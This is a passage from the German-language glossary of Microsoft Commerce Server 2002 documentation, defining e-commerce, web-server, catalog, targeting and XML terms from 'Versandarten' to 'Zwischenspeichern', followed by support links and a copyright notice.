Ein Maß für die Fehlertoleranz eines Computers, eines Serverclusters oder Systems und seiner Programme. Ein hochverfügbarer Computer oder ein hochverfügbares System zeichnet sich dadurch aus, dass es zu 99,9 Prozent der Zeit auf einer akzeptablen Dienstebene einsatzbereit ist.

Versandarten (Modul)

Dieses Modul von Commerce Server Business Desk dient dazu, die Versandart festzulegen, entweder nach Gewicht, Menge oder Zwischensumme.

Verschiedene Benutzer

Ein Benutzer, der innerhalb eines bestimmten Zeitraums als eindeutig erkannt wird. Beispielsweise kann ein Benutzer Ihrer Site innerhalb eines Monats 130 Besuche abstatten. Als verschiedene Benutzer zählt Commerce Server den Benutzer lediglich einmal. Als nicht eindeutigen Benutzer zählt Commerce Server den Benutzer innerhalb desselben Zeitraums hingegen 130 Mal.

Siehe auch: Benutzer

Versendbare Liste

Eine Liste mit der Spalte "rcp_email", die Benutzer-E-Mail-Adressen enthält.

Vertikales Skalieren

Erhöhung der Kapazität der Website durch Erweiterung der Hardware (z. B. durch Hinzufügen von Arbeitsspeicher oder eines Prozessors), während die physische Grundausstattung und die Anzahl der Server im Servercluster erhalten bleiben. Auch als Heraufskalieren bezeichnet.

Siehe auch: horizontales Skalieren

Vertrauensintervall

Eine Zahl, die die Wahrscheinlichkeit angibt, mit der ein vorhergesagter Wert innerhalb vorgegebener Grenzwerte liegen wird.

Verwalteter Code

Code der auf der Grundlage eines "Kooperationsvertrags" mit der Laufzeit ausgeführt wird. Demnach muss der verwaltete Code die erforderlichen Metadaten bereitstellen, damit zur Laufzeit Dienste wie die Speicherverwaltung, sprachübergreifende Integration, Codezugriffssicherheit und automatische Steuerung der Gültigkeitsdauer von Objekten zur Verfügung gestellt werden können. Code, der auf der Microsoft Intermediate Language (MSIL) basiert, wird immer als verwalteter Code ausgeführt.

Siehe auch: Microsoft intermediate language (MSIL), ASP.NET

Verwaltungsdatenbank

Die SQL Server-Datenbank, in der die Konfigurationsdaten für die Ressourcen für alle Computer gespeichert werden, die in derselben (logischen) Installation von Commerce Server ausgeführt werden. Die Datenbank wird vom Commerce Server-Setup-Programm erstellt.

Verwandter Verkauf

Ein Promotiontyp, bei dem Benutzern weitere Waren angeboten werden. Hierfür wird eine Beziehung zwischen dem angezeigten Produkt oder einem Produkt im Warenkorb und anderen verwandten Produkten hergestellt. Up-Selling- und Cross-Selling-Möglichkeiten können mithilfe des Commerce Server 2002 SDK (Software Development Kit) zu einer Site hinzugefügt werden. Mithilfe der Vorhersageressource können intelligente Cross-Selling-Funktionen hinzugefügt werden.

Siehe auch: Cross-Selling, Intelligentes Cross-Selling

Verwendungsprofil

Ein Satz von Eigenschaften, die Datenverkehrsmuster in einer Website beschreiben. Ein Verwendungsprofil zeigt beispielsweise, wie viele Menschen eine bestimmte Seite anzeigen, wie das Verhältnis von Suchen und tatsächlichem Kauf ist und wie viele Menschen ihrem Warenkorb ein Produkt hinzufügen und es anschließend wieder entfernen. Systemadministratoren verwenden das Benutzerprofil, um die Anzahl der benötigten Webserver zu bestimmen und eine Website zu konfigurieren.

Vignettenanzeige

Eine Anzeige, die aus einem direkt neben einem Bild angeordneten Text besteht. Der Text kann sich rechts, links oder über dem Bild der Anzeige befinden.

Virtueller Katalog

Ein Katalog, von dem die Produktdaten in einem oder mehreren Basiskatalogen referenziert werden. Wenn Sie einem Basiskatalog ein Produkt hinzufügen, kann es auch im dazugehörigen virtuellen Katalog auftauchen. Das hängt von den Einschlussregeln ab. Die Produkte werden in der Datenbank nur einmal angezeigt, unabhängig davon, in wie vielen virtuellen Katalogen sie erscheinen. Für virtuelle Kataloge werden alle Sprachen des Basiskatalogs übernommen. Es gibt drei wesentliche Verwendungszwecke für virtuelle Kataloge: Aggregation mehrerer Kataloge, sodass sie den Benutzern als ein einzelner Katalog erscheinen; Preisberechnung für Produkte in mehreren Währungen; Bereitstellung besonderer Preise oder Produkte für bestimmte Benutzergruppen.

Siehe auch: Basiskatalog, Katalog, Katalogsatz, Benutzerdefinierter Preis, Materialisieren, Aggregierter Katalog, Benutzerdefinierter Katalog

Virtueller Server

Wird auch als Website bezeichnet (z. B. die Standardwebsite). Ein virtueller Computer, der sich auf einem HTTP-Server befindet, den Benutzern jedoch als eigenständiger HTTP-Server angezeigt wird. Mehrere virtuelle Server können sich auf einem Computer befinden; jeder Einzelne ist dabei in der Lage, eigene Programme auszuführen und individuell auf Eingabe- und Peripheriegeräte zugreifen.

Jeder virtuelle Server verfügt über einen eigenen Internetdomänennamen und eine IP-Adresse (Internet Protocol) und wird dem Benutzer als individuelle Website angezeigt. Einige Internetdienstanbieter (ISP) verwenden virtuelle Server für Kunden, die einen eigenen Domänennamen verwenden möchten. Ein ISP könnte mehrere IIS 5.0-Websites (Internet Information Services, Internet-Informationsdienste) erstellen und Commerce-Anwendungen für verschiedene Kunden auf getrennten IIS-Websites entpacken. Commerce-Anwendungen in verschiedenen IIS-Websites können globale Ressourcen gemeinsam verwenden.

Virtuelles Verzeichnis

Der Name eines Verzeichnisses in einer Webadresse, das einem physischen Verzeichnis auf dem Server entspricht; manchmal auch als URL-Zuordnung bezeichnet. Bei den Internet-Informationsdiensten (IIS 5.0) ist ein virtuelles Verzeichnis ein Element, das sich in der Konsolenstruktur von MMC (Microsoft Management Console) direkt unterhalb einer Website (des virtuellen Servers) befindet und die Eigenschaften der Website erbt. Einige dieser Eigenschaften können auf der Ebene des virtuellen Verzeichnisses geändert werden, andere dagegen nicht. Anwendungen, auch Commerce Server-Anwendungen, befinden sich auf der Ebene des virtuellen Verzeichnisses in IIS und haben dieselbe Parent/Child-Beziehung mit der Website.

Volltextindex

Der Teil eines Volltextkatalogs, der alle Volltextwörter und ihre Vorkommen für eine gegebene Tabelle speichert. Wenn Änderungen an dem Katalog vorgenommen werden (wie das Hinzufügen oder Entfernen von Produkten oder das Ändern der mittels Volltextsuche auffindbaren Felder), muss der Volltextindex aktualisiert werden, um diesen Änderungen Rechnung zu tragen.

Volltextkatalog

Ein SQL Server-Objekt, das den Volltextindex einer Datenbank speichert.

Volltextsuche

Eine Suche nach einem oder mehreren Dokumenten, Datensätzen oder Zeichenfolgen, die auf den gesamten tatsächlichen Textdaten basiert und nicht auf einem Index, der eine begrenzte Anzahl von Stichwörtern enthält.

Vorgängerkategorie

Eine Kategorie, die sich innerhalb einer oder mehrerer Parent-Child-Beziehungen näher an der Stammkategorie befindet. Auch eine übergeordnete Kategorie ist eine Vorgängerkategorie, ebenso wie die übergeordnete Kategorie dieser Kategorie usw.

Siehe auch: Übergeordnete Kategorie, Stammkategorie, Untergeordnete Kategorie, Abgeleitete Kategorie

Vorhersagemodell

Eine Zusammenfassung der Daten, die vom Algorithmus für die Vorhersage verwendet werden. Verwenden Sie den Vorhersagemodell-Viewer im Commerce Server-Manager zum Anzeigen von Vorhersagemodellen.

Vorhersagemodellkonfiguration

Eine benutzerdefinierte Beschreibung der Daten, die für ein Vorhersage- oder Segmentmodell verwendet werden.

Vorhersagemodell-Viewer

Ein Browser zur Anzeige des Abhängigkeitsnetzwerks und der individuellen Entscheidungsbäume eines Vorhersagemodells.

Vorhersageressource

Eine globale Ressource, die gleichzeitig ein Windows 2000-Dienst ist. Die Vorhersageressource wird vom Commerce Server-Manager verwaltet und besteht aus einem leistungsstarken Dataminingmodul, mit dem Sie Ihrer Website Vorhersagefunktionen basierend auf den aggregierten Eigenschaften der Besucher Ihrer Site verleihen können. Verwenden Sie die Vorhersageressource zum Erstellen von Analysemodellen, die Sie dann in Ihrer Website bereitstellen, um Benutzerinformationen zu analysieren.

Siehe auch: Implizite Profilerstellung, Personalisierung

W

Wahrscheinlichkeitsverteilung

Ein Satz von Wahrscheinlichkeiten für ein diskretes Attribut, wobei für jeden möglichen Wert des Attributs eine Wahrscheinlichkeit angegeben wird.

Für ein kontinuierliches Attribut x eine Funktion, die bei Integration von a nach b zu der Wahrscheinlichkeit führt, dass der Wert von x zwischen a und b liegt. Auch Wahrscheinlichkeitsdichte für x genannt.

Währungswert mit hoher Genauigkeit

Ein als 64-Bit-Ganzzahl dargestellter und mit 10.000 skalierter Währungswert (im Gegensatz zu den in Site Server 3.0 Commerce Edition verwendeten 32-Bit-Ganzzahlen). In Commerce Server 2002 wird DM 1,99 als 19900 angezeigt. Schlüssel, denen ein Währungswert mit hoher Genauigkeit zugeordnet ist, tragen das Präfix "cy_". Beispielsweise ist "_cy_oadjust_adjustedprice" die Version des Schlüssels "_oadjust_adjustedprice" mit einem Währungswert mit hoher Genauigkeit.

Warenkorb

Die Liste der Artikel, die ein Benutzer in einer E-Commerce-Website zum Kauf auswählt. Die Liste wird üblicherweise in einer Datei kompiliert.

Siehe auch: Warenkorb-Manager (Modul)

Warenkorb-Manager (Modul)

Ein Modul von Commerce Server Business Desk, das zum Verwalten der Warenkörbe von Benutzern, die Ihre Site besuchen, verwendet wird. Benutzer können Warenkörbe speichern, sodass sie zu einem späteren Zeitpunkt zu der Site zurückkehren und die gewählten Artikel kaufen können. Mithilfe des Warenkorb-Managers können aufgegebene Warenkörbe (gespeicherte Warenkörbe, die für längere Zeit inaktiv geblieben sind) gefunden und gelöscht werden.

Siehe auch: Warenkorb

Webanwendung

Siehe Anwendung.

Webfarm

Zwei oder mehrere Webserver, die verbunden sind, um Ressourcen gemeinsam zu verwenden und das Anforderungsaufkommen miteinander zu teilen. Webfarmen bieten in der Regel Unterstützung für Lastenausgleich, Fehlertoleranz und Failover und werden dem Benutzer als einzelner Server mit einer einzelnen IP-Adresse angezeigt. Webfarmen werden auch als Serverfarmen oder Servercluster bezeichnet.

Siehe auch: Cluster, Servercluster

Webformular

Das ASP.NET-Seitenframework, das serverseitige Steuerelemente unterstützt, mit denen eine HTML-Benutzerschnittstelle in Webbrowsern dargestellt werden. Auch als ASP.NET-Seite bekannt.

Webserver

Im Allgemeinen ein Computer, der mit Serversoftware ausgestattet ist, die mithilfe von Internetprotokollen (z. B. HTTP) auf Webclientanforderungen in einem TCP/IP-Netzwerk (Transmission Control Protocol/Internet Protocol) reagiert.

In Commerce Server ist ein Webserver ein physischer Servercomputer, auf dem IIS 5.0 (Internet-Informationsdienste) ausgeführt wird; er erbt Eigenschaften von der IIS-Website. Ein Webserver wird in der Commerce Server-Manager-Konsole unter einer Anwendung angezeigt. Eine E-Commerce-Anwendung kann mehrere Webserver verwenden, die verschiedene Inhaltstypen für die Anwendung bereitstellen.

Webserversteuerelement

Ein Element, das in einer ASP.NET-Seite oder einem Webformular abgelegt werden kann. Webserversteuerelemente sind hierarchische, programmierbare, wiederverwendbare serverseitige Objekte (mit oder ohne Benutzeroberfläche).

Website

Im Allgemeinen eine über eine Webadresse zugängliche Sammlung von Dateien und Anwendungen, die ein bestimmtes Thema behandelt und von einer bestimmten Person oder Organisation betrieben wird. Eine Website befindet sich auf mit dem Webnetzwerk verbundenen Servern und stellt Benutzern weltweit rund um die Uhr Inhalte zur Verfügung. Websites verwenden normalerweise HTML, um Informationen zu formatieren, zu präsentieren und dem Benutzer Navigationseinrichtungen zur Bewegung in der Site oder dem Web zur Verfügung zu stellen. Aus der Sicht der IIS 5.0-Verwaltung (Internet-Informationsdienste) ist mit Website ein virtueller Server (z. B. die Standardwebsite) gemeint. Ein virtueller Server ist ein virtueller Computer, der sich auf einem HTTP-Server befindet, dem Benutzer jedoch als eigenständiger HTTP-Server angezeigt wird. Mehrere virtuelle Server können sich auf einem Computer befinden; jeder Einzelne ist dabei in der Lage, eigene Programme auszuführen und individuell auf Eingabe- und Peripheriegeräte zugreifen. Jeder virtuelle Server verfügt über einen eigenen Internetdomänennamen und eine eigene IP-Adresse (Internet Protocol).

Wert

Die einer Profileigenschaft tatsächlich zugewiesenen Daten. Die Profileigenschaft "Vorname" kann beispielsweise den Wert "Cornelia" haben.

Windows-Konto

Ein Eintrag, der aus allen Daten besteht, die einen Benutzer in Windows 2000 ausmachen. Das Windows-Konto für jeden Benutzer oder jede SQL Server-Anmeldung wird einem Benutzerkonto in einer Datenbank zugeordnet. Der Systemadministrator erstellt Windows-Konten und richtet Berechtigungen für Benutzer- oder Gruppenkonten im Berechtigungsmodul von Business Desk ein.

Siehe auch: Modul "Berechtigungen"

Windows Media Services-Anzeige

Eine Anzeige, die Audio- und Videowerbung hoher Qualität darstellt.

Windows Script Host (WSH)

Eine sprachunabhängige Skriptumgebung für 32-Bit-Windows-Plattformen, die von Windows 2000 und IIS standardmäßig installiert wird. WSH kann dazu verwendet werden, Verwaltungsaufgaben auf einem Server unter Verwendung einer beliebigen Skriptsprache zu automatisieren.

Wörterbuchobjekt

Ein Objekt zum Erstellen, Speichern und Abrufen von Name/Wertpaaren im Arbeitsspeicher. Da jedes Element eines Wörterbuchobjekts vom Datentyp "Variant" ist, können Sie Wörterbuchobjekte erstellen, die aus (fast) beliebigen Datentypen bestehen (einschließlich anderer Wörterbuchobjekte); in einem Wörterbuchobjekt kann eine beliebige Kombination von Varianttypen gespeichert werden.

WSH

Siehe Windows Script Host (WSH).

X

XDR

Siehe Definition für: XML Data Reduced

XML

Siehe Extensible Markup Language (XML).

XML Data Reduced

Ein Standard zur Definition eines XML-Schemas.

XML-/HTTP-Operationen (Extensible Markup Language/ Hypertext Transfer Protocol)

Ein Mechanismus, mit dem die ListSheet-HTML-Komponente (HTC) und die TreeView-HTC XML-Daten vom Server abrufen. Dabei können neue Daten angezeigt werden, ohne dass die gesamte Seite mit den Daten neu gerendert werden muss.

XML-Dateninsel (Extensible Markup Language)

XML-Daten, die in einer ASP-Seite enthalten sind oder auf die von einer ASP-Seite aus zugegriffen werden kann. Entweder XML oder Skript wird verwendet, um eine XML-Dateninsel zu definieren, und eine bestimmte XML-Dateninsel wird über das ID-Attribut dieser Elemente referenziert. Die Daten selbst sind häufig innerhalb dieser Elemente vorhanden, können jedoch auch an einer anderen Stelle gespeichert sein, wenn der URL (Uniform Resource Locator) des Speicherortes mit einem Quellenattribut bereitgestellt wird.

XML-Webdienste

Einheiten einer Anwendungslogik, die anderen Anwendungen Daten und Dienste bereitstellen. Anwendungen greifen über Standard-Webprotokolle und -Datenformate wie HTTP, XML und SOAP auf XML-Webdienste zu, unabhängig von der Implementierung der jeweiligen XML-Webdienste. XML-Webdienste sind ein Kernstück des Microsoft .NET-Programmiermodells.

Z

Zeilendimension

Eine Dimension in einem dynamischen Bericht, mit der Daten in den Zeilen des Berichts definiert werden. Sie können eine beliebige Dimension als Spalten- oder Zeilendimension auswählen.

Siehe auch: Dimension, Filterdimension, Spaltendimension

Ziel

Ein oder mehrere Ausdrücke, die festlegen, wo, wann und wem Inhalte angezeigt werden sollen. Sie können auf demographische Gruppen abzielen, auf Teile einer Website oder auf beides.

Siehe auch: Zielausdruck, Zielgruppe

Zielaktion

Eine Option, die angibt, dass ein bestimmter Inhalt häufiger angezeigt werden soll, wenn das Ziel erfüllt wird als wenn es nicht erfüllt wird. Verwenden Sie Zielaktionen, wenn es schwierig ist, die Zielsetzung für den Kampagnenartikel zu erfüllen (wenn z. B. das Ziel nicht umfangreich genug ist, um den Inhalt darzustellen). Wenn Sie z. B. 1000 Anzeigenanforderungen von Benutzern in Alaska erhalten sollen, Sie aber in Alaska nur über 15 Benutzer verfügen, müssen Sie die Anzeigen an Benutzer senden, die nicht in Alaska leben. Verwenden Sie das Modul "Zielgruppen" in Business Desk zum Festlegen der Zielaktion für einen Ausdruck.

Zielausdruck

Ein Ausdruck, der bei Commerce Server-Kampagnen festlegt, wo, wann und wem Inhalte angezeigt werden sollen. Sie können z. B. Inhalte zielgerichtet bei Benutzern mit bestimmten Profileigenschaften anzeigen. Sie können den Inhalt auch auf bestimmte Bereiche einer Website ausrichten. Sie können beispielsweise einen Zielausdruck erstellen, der bestimmte Anzeigen lediglich auf Sportseiten anzeigt.

Siehe auch: Personalisierung, Ziel

Zielfestlegung

Siehe Kampagnenzielfestlegung.

Zielfestlegung für Werbekampagnen

Siehe Kampagnenzielfestlegung.

Zielgruppe

Eine Sammlung von Zielen, denen Inhalte angezeigt werden sollen. Durch Verbinden von zwei oder mehr Ausdrücken bilden Sie eine Zielgruppe. Durch dieses Verbinden von Ausdrücken in einer Zielgruppe können Sie Ausdrücke erstellen, die mithilfe von OR-Aussagen ein größeres Publikum ansprechen können.

Siehe auch: Personalisierung, Ziel

Zielgruppe (Modul)

Ein Modul von Commerce Server Business Desk, das zum Verwalten von Zielgruppen verwendet wird.

Zielgruppenadressierung

Das Übermitteln von bestimmten Inhalten an bestimmte Benutzer.

Ziel-URL

Der URL, der angezeigt wird, wenn Benutzer auf einen Teil des Inhalts in der Website oder in einer Direktsendung klicken.

Zugriff

Eine Einzelaktion (z. B. ein Klick auf eine Anzeige) eines Besuchers der Website, die dazu führt, dass eine Datenzeile zur Webserverprotokolldatei hinzugefügt wird.

Zuverlässigkeit

Ein Maß für die Zeitspanne zwischen Ausfällen (durchschnittliche Zeit zwischen Ausfällen), wobei ein Ausfall als das Fehlen einer akzeptablen Dienstebene für eine Anwendung, ein Computersystem oder das Netzwerksystem definiert ist. Im Gegensatz dazu bezieht der Begriff Verfügbarkeit die Zuverlässigkeit ebenso mit ein wie die Zeit, die benötigt wird, ein System nach einem Ausfall wieder in den Normalzustand zu bringen (oder heruntergefahren wurde, um geplante Wartungen oder Aktualisierungen auszuführen). Bei der Planung einer Commerce Server-Installation legen Sie fest, welche Hardwarekomponenten, welches Netzwerk und welche operationalen Prozeduren für die benötigte Zuverlässigkeitsebene erforderlich sind.

Zwischenspeichern

Das Speichern häufig verwendeter Dokumente, Bilder, CGI- oder ASP-Skripts sowie ISAPI-Erweiterungs-DLLs im Arbeitsspeicher zum Verbessern der Leistung. Weitere Informationen finden Sie in der IIS-Hilfe im Thema "Zwischenspeichern von Anwendungen". Wird auch als Datei- oder Dokumentcaching bezeichnet.

Zwischenspeichern von Dateien

Siehe zwischenspeichern.


Onlinesupport
und Informationen

* | Microsoft Commerce Server-Website
* | Website für Microsoft-Sicherheit
* | Website für Commerce Server 2000-ISV-Partner
* | Website für Commerce Server-Lösungssites
* | Website für Microsoft-Produktsupport
* | MSDN Online
* | MSDN-Onlinebibliothek
* | Microsoft.com-Website
* | Microsoft SQL Server-Website
* | Website für Microsoft-Eingabehilfen


Urheberrechtshinweis

Die in diesen Unterlagen enthaltenen Angaben und Daten, einschließlich URLs und anderer Verweise auf Websites im Internet, können ohne vorherige Ankündigung geändert werden. Die in den Beispielen verwendeten Firmen, Organisationen, Produkte, Domänennamen, E-Mail-Adressen, Logos, Personen, Orte und Ereignisse sind frei erfunden, soweit nichts anderes angegeben ist. Jede Ähnlichkeit mit bestehenden Firmen, Organisationen, Produkten, Domänennamen, E-Mail-Adressen, Logos, Personen, Orten oder Ereignissen ist rein zufällig. Die Benutzer/innen sind verpflichtet, sich an alle anwendbaren Urheberrechtsgesetze zu halten. Unabhängig von der Anwendbarkeit der entsprechenden Urheberrechtsgesetze darf ohne ausdrückliche schriftliche Erlaubnis der Microsoft Corporation kein Teil dieses Dokuments für irgendwelche Zwecke vervielfältigt oder in einem Datenempfangssystem gespeichert oder darin eingelesen werden, unabhängig davon, auf welche Art und Weise oder mit welchen Mitteln (elektronisch, mechanisch, durch Fotokopieren, Aufzeichnen, usw.) dies geschieht.

Es ist möglich, dass Microsoft Rechte an Patenten bzw. angemeldeten Patenten, an Marken, Urheberrechten oder sonstigem geistigen Eigentum besitzt, die sich auf den fachlichen Inhalt dieses Dokuments beziehen. Die Bereitstellung dieses Dokuments gewährt keinerlei Lizenzrechte an diesen Patenten, Marken, Urheberrechten oder anderem geistigen Eigentum, es sei denn, dies wurde ausdrücklich durch einen schriftlichen Lizenzvertrag mit der Microsoft Corporation vereinbart.

© 1996-2002 Microsoft Corporation. Alle Rechte vorbehalten.

Microsoft, Active Directory, ActiveX, BackOffice, BizTalk, Developer Studio, FrontPage, Hotmail, JScript, MSDN, MS-DOS, MSN, Outlook, PivotChart, PivotTable, Verdana, Visual Basic, Visual C++, Visual Studio, Webdings, Win32, Windows, Windows Media und Windows NT sind entweder eingetragene Marken oder Marken der Microsoft Corporation in den USA und/oder anderen Ländern bzw. Regionen.

Weitere in diesem Dokument aufgeführte Produkt- und Firmennamen sind möglicherweise geschützte Marken ihrer jeweiligen Inhaber.